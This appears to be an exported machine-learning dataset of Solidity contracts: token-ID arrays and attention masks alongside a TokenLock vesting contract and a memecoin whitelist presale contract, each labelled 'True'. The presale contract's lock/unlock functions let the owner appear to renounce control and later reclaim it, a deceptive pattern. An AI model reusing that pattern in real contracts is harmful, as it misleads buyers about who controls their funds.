29336,
2271,
22305,
2098,
1006,
21318,
3372,
3570,
1007,
1025,
1013,
1013,
2724,
10534,
5280,
2063,
1006,
21318,
3372,
3815,
1007,
1025,
1013,
1008,
16913,
28295,
1008,
1013,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
2065,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1063,
1035,
1025,
1065,
1065,
16913,
18095,
2069,
26915,
1006,
4769,
8543,
1010,
21318,
3372,
2724,
3593,
1007,
1063,
2065,
1006,
6655,
18697,
7666,
1031,
8543,
1033,
1031,
2724,
3593,
1033,
1012,
3570,
1027,
1027,
2824,
29336,
2271,
1012,
2330,
1007,
1063,
1035,
1025,
1065,
1065,
16913,
18095,
2069,
16294,
13295,
1006,
4769,
8543,
1010,
21318,
3372,
2724,
3593,
1007,
1063,
2065,
1006,
6655,
18697,
7666,
1031,
8543,
1033,
1031,
2724,
3593,
1033,
1012,
3570,
1027,
1027,
2824,
29336,
2271,
1012,
2736,
1007,
1063,
1035,
1025,
1065,
1065,
16913,
18095,
2069,
2906,
16313,
16259,
1006,
4769,
8543,
1010,
21318,
3372,
2724,
3593,
1007,
1063,
2065,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
6655,
18697,
7666,
1031,
8543,
1033,
1031,
2724,
3593,
1033,
1012,
12098,
16313,
16259,
1007,
1063,
1035,
1025,
1065,
1065,
16913,
18095,
2069,
26915,
13832,
15185,
4183,
16259,
1006,
4769,
8543,
1010,
21318,
3372,
2724,
3593,
1007,
1063,
2065,
1006,
6655,
18697,
7666,
1031,
8543,
1033,
1031,
2724,
3593,
1033,
1012,
3570,
1027,
1027,
2824,
29336,
2271,
1012,
2330,
1004,
1004,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// File: node_modules\@openzeppelin\contracts\utils\Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin\contracts\access\Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin\contracts\token\ERC20\IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts\TokenLock.sol
pragma solidity ^0.8.0;
contract TokenLock is Ownable {
event BeneficiaryUpdated(address account);
event ReleaseInfoCreated(uint256 time, uint256 amount);
event ReleaseInfoUpdated(uint256 time, uint256 amount);
event Released(address account, uint256 amount, uint256 indexFrom, uint256 indexTo);
struct ReleaseInfo {
uint128 time;
uint128 amount;
}
IERC20 private _token;
address private _beneficiary;
uint256 private _releaseIndex;
uint256 private _totalReleases;
mapping(uint256 => ReleaseInfo) private _releases;
/**
* @dev Constructor
*/
constructor(address token, address beneficiary)
{
_token = IERC20(token);
_beneficiary = beneficiary;
}
/**
* @dev Updates beneficiary address
*/
function updateBeneficiary(address account)
external
onlyOwner
{
require(account != address(0), "TokenLock: address is invalid");
_beneficiary = account;
emit BeneficiaryUpdated(account);
}
/**
* @dev Returns smart contract information
*/
function getContractInfo()
external
view
returns (address, address, uint256, uint256, uint256)
{
return (address(_token), _beneficiary, _totalReleases, _token.balanceOf(address(this)), _releaseIndex);
}
/**
* @dev Creates release information
*/
function createReleaseInfo(uint128[] memory times, uint128[] memory amounts)
external
onlyOwner
{
uint256 length = times.length;
require(length == amounts.length, "TokenLock: array length is invalid");
uint256 index = _totalReleases;
uint128 lastTime = index == 0 ? 0 : _releases[index - 1].time;
for (uint256 i = 0; i < length; i++) {
uint128 time = times[i];
uint128 amount = amounts[i];
require(lastTime < time, "TokenLock: time is invalid");
_releases[index++] = ReleaseInfo(time, amount);
lastTime = time;
emit ReleaseInfoCreated(time, amount);
}
if (_totalReleases != index) {
_totalReleases = index;
}
}
// /**
// * @dev Updates release information
// */
// function updateReleaseInfo(uint128 index, uint128 time, uint128 amount)
// external
// onlyOwner
// {
// require(index >= _releaseIndex, "TokenLock: index is invalid");
// ReleaseInfo storage info = _releases[index];
// require(info.time > 0, "TokenLock: info does not exist");
// uint128 prevTime = index > 0 ? _releases[index - 1].time : 0;
// uint128 nextTime = index == _totalReleases - 1 ? type(uint128).max : _releases[index + 1].time;
// require(time > prevTime && time < nextTime, "TokenLock: time is invalid");
// info.time = time;
// info.amount = amount;
// emit ReleaseInfoUpdated(time, amount);
// }
/**
* @dev Returns release information
*/
function getReleaseInfo(uint256 indexFrom, uint256 indexTo)
external
view
returns (ReleaseInfo[] memory)
{
uint256 cnt = 0;
uint256 size = indexTo - indexFrom + 1;
ReleaseInfo[] memory tmps = new ReleaseInfo[](size);
for (uint256 i = indexFrom; i <= indexTo; i++) {
if (_releases[i].time == 0) {
break;
}
tmps[cnt++] = _releases[i];
}
ReleaseInfo[] memory releases = new ReleaseInfo[](cnt);
for (uint256 i = 0; i < cnt; i++) {
releases[i] = tmps[i];
}
return releases;
}
/**
* @dev Returns release balance
*/
function getReleaseBalance()
public
view
returns (uint256, uint256, uint256)
{
uint256 balance;
uint256 length = _totalReleases;
uint256 currentTime = block.timestamp;
uint256 indexFrom = _releaseIndex;
uint256 indexTo = indexFrom;
for (uint256 i = indexFrom; i < length; i++) {
ReleaseInfo memory info = _releases[i];
if (currentTime < info.time) {
break;
}
balance += info.amount;
indexTo++;
}
return (indexFrom, indexTo, balance);
}
/**
* @dev Releases token
*/
function release()
external
{
(uint256 indexFrom, uint256 indexTo, uint256 balance) = getReleaseBalance();
require(indexTo > indexFrom, "TokenLock: can not release");
_releaseIndex = indexTo;
if (balance > 0) {
_token.transfer(_beneficiary, balance);
}
emit Released(_beneficiary, balance, indexFrom, indexTo);
}
} | True | [
101,
1013,
1013,
5371,
1024,
13045,
1035,
14184,
1032,
1030,
2330,
4371,
27877,
2378,
1032,
8311,
1032,
21183,
12146,
1032,
6123,
1012,
14017,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
18804,
1011,
11817,
1996,
4070,
6016,
1998,
1008,
7079,
2005,
7781,
2089,
2025,
2022,
1996,
5025,
4604,
2121,
1006,
2004,
2521,
2004,
2019,
4646,
1008,
2003,
4986,
1007,
1012,
1008,
1008,
2023,
3206,
2003,
2069,
3223,
2005,
7783,
1010,
3075,
1011,
2066,
8311,
1012,
1008,
1013,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
2655,
2850,
2696,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1032,
8311,
1032,
3229,
1032,
2219,
3085,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3206,
11336,
2029,
3640,
1037,
3937,
3229,
2491,
7337,
1010,
2073,
1008,
2045,
2003,
2019,
4070,
1006,
2019,
3954,
1007,
2008,
2064,
2022,
4379,
7262,
3229,
2000,
1008,
3563,
4972,
1012,
1008,
1008,
2011,
12398,
1010,
1996,
3954,
4070,
2097,
2022,
1996,
2028,
2008,
21296,
2015,
1996,
3206,
1012,
2023,
1008,
2064,
2101,
2022,
2904,
2007,
1063,
4651,
12384,
2545,
5605,
1065,
1012,
1008,
1008,
2023,
11336,
2003,
2109,
2083,
12839,
1012,
2009,
2097,
2191,
2800,
1996,
16913,
18095,
1008,
1036,
2069,
12384,
2121,
1036,
1010,
2029,
2064,
2022,
4162,
2000,
2115,
4972,
2000,
21573,
2037,
2224,
2000,
1008,
1996,
3954,
1012,
1008,
1013,
10061,
3206,
2219,
3085,
2003,
6123,
1063,
4769,
2797,
1035,
3954,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3988,
10057,
1996,
3206,
4292,
1996,
21296,
2121,
2004,
1996,
3988,
3954,
1012,
1008,
1013,
9570,
2953,
1006,
1007,
1063,
4769,
5796,
5620,
10497,
2121,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1025,
1035,
3954,
1027,
5796,
5620,
10497,
2121,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
1006,
1014,
1007,
1010,
5796,
5620,
10497,
2121,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4769,
1997,
1996,
2783,
3954,
1012,
1008,
1013,
3853,
3954,
1006,
1007,
2270,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
/**
*
* Uncle Scrooge Finance Whitelist Contract
*
* TG: https://t.me/Scroogetoken
*
* In many cultures of the world ducks are a symbol of luck, love and prosperity.
*
* Uncle $crooge needs your help to begin a new era in memecoin trading,
* THE ERA OF THE DUCK! Quack * Quack
*
* Looking at how long we’ve had dogs and cats rule the memecoin world,
* it’s time for a change. It’s time for * a new trend! Innovation, be it creative or
* technological has to be RADICAL because crypto feeds off of innovation.
*
* Do you want to benefit the broader community? Do you want to see the bull
* market continue? Do you want new fresh projects to ape in?
* Are you tired of all the shibas and inus and elons?
*
*
*
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract CROOGEWhitelist is Ownable {
address public tokenAddress;
uint256 public tokensPerAllocation;
uint256 public allocationSize;
mapping(address => bool) public isWhitelisted;
mapping(address => bool) public didBuy;
constructor(address _tokenAddress) public {
tokenAddress = _tokenAddress;
}
receive() external payable {
buy();
}
function setTokensPerAllocation(uint256 amount) public onlyOwner {
tokensPerAllocation = amount;
}
function setAllocationSize(uint256 amount) public onlyOwner {
allocationSize = amount;
}
function whitelistAddresses(address[] memory account) public onlyOwner {
for (uint256 i = 0; i < account.length; i++) {
isWhitelisted[account[i]] = true;
}
}
function removeAddressesFromWhitelist(address[] memory account) public onlyOwner {
for (uint256 i = 0; i < account.length; i++) {
isWhitelisted[account[i]] = false;
}
}
function withdrawTokens() public onlyOwner {
IERC20(tokenAddress).transfer(owner(), IERC20(tokenAddress).balanceOf(address(this)));
}
function withdrawETH() public onlyOwner {
payable(owner()).transfer(address(this).balance);
}
function buy() public payable {
require(tokensPerAllocation > 0 && allocationSize > 0, "Not initialized yet");
require(isWhitelisted[msg.sender], "Address is not whitelisted");
require(!didBuy[msg.sender], "Address already bought");
require(msg.value == allocationSize, "Wrong ETH amount sent");
IERC20(tokenAddress).transfer(msg.sender, tokensPerAllocation);
didBuy[msg.sender] = true;
}
} | True | [
101,
1013,
1008,
1008,
1008,
1008,
4470,
8040,
3217,
23884,
5446,
2317,
9863,
3206,
1008,
1008,
1056,
2290,
1024,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
8040,
3217,
23884,
18715,
2368,
1008,
1008,
1999,
2116,
8578,
1997,
1996,
2088,
14875,
2024,
1037,
6454,
1997,
6735,
1010,
2293,
1998,
14165,
1012,
1008,
1008,
4470,
1002,
13675,
9541,
3351,
3791,
2115,
2393,
2000,
4088,
1037,
2047,
3690,
1999,
2033,
4168,
3597,
2378,
6202,
1010,
1008,
1996,
3690,
1997,
1996,
9457,
999,
24209,
8684,
1008,
24209,
8684,
1008,
1008,
2559,
2012,
2129,
2146,
2057,
1521,
2310,
2018,
6077,
1998,
8870,
3627,
1996,
2033,
4168,
3597,
2378,
2088,
1010,
1008,
2009,
1521,
1055,
2051,
2005,
1037,
2689,
1012,
2009,
1521,
1055,
2051,
2005,
1008,
1037,
2047,
9874,
999,
8144,
1010,
2022,
2009,
5541,
2030,
1008,
10660,
2038,
2000,
2022,
7490,
2138,
19888,
2080,
14172,
2125,
1997,
8144,
1012,
1008,
1008,
2079,
2017,
2215,
2000,
5770,
1996,
12368,
2451,
1029,
2079,
2017,
2215,
2000,
2156,
1996,
7087,
1008,
3006,
3613,
1029,
2079,
2017,
2215,
2047,
4840,
3934,
2000,
23957,
1999,
1029,
1008,
2024,
2017,
5458,
1997,
2035,
1996,
11895,
22083,
1998,
1999,
2271,
1998,
3449,
5644,
1029,
1008,
1008,
1008,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
3206,
11336,
2029,
3640,
1037,
3937,
3229,
2491,
7337,
1010,
2073,
1008,
2045,
2003,
2019,
4070,
1006,
2019,
3954,
1007,
2008,
2064,
2022,
4379,
7262,
3229,
2000,
1008,
3563,
4972,
1012,
1008,
1008,
2011,
12398,
1010,
1996,
3954,
4070,
2097,
2022,
1996,
2028,
2008,
21296,
2015,
1996,
3206,
1012,
2023,
1008,
2064,
2101,
2022,
2904,
2007,
1063,
4651,
12384,
2545,
5605,
1065,
1012,
1008,
1008,
2023,
11336,
2003,
2109,
2083,
12839,
1012,
2009,
2097,
2191,
2800,
1996,
16913,
18095,
1008,
1036,
2069,
12384,
2121,
1036,
1010,
2029,
2064,
2022,
4162,
2000,
2115,
4972,
2000,
21573,
2037,
2224,
2000,
1008,
1996,
3954,
1012,
1008,
1013,
3206,
2219,
3085,
2003,
6123,
1063,
4769,
2797,
1035,
3954,
1025,
4769,
2797,
1035,
3025,
12384,
2121,
1025,
21318,
3372,
17788,
2575,
2797,
1035,
5843,
7292,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3988,
10057,
1996,
3206,
4292,
1996,
21296,
2121,
2004,
1996,
3988,
3954,
1012,
1008,
1013,
9570,
2953,
1006,
1007,
4722,
1063,
4769,
5796,
5620,
10497,
2121,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
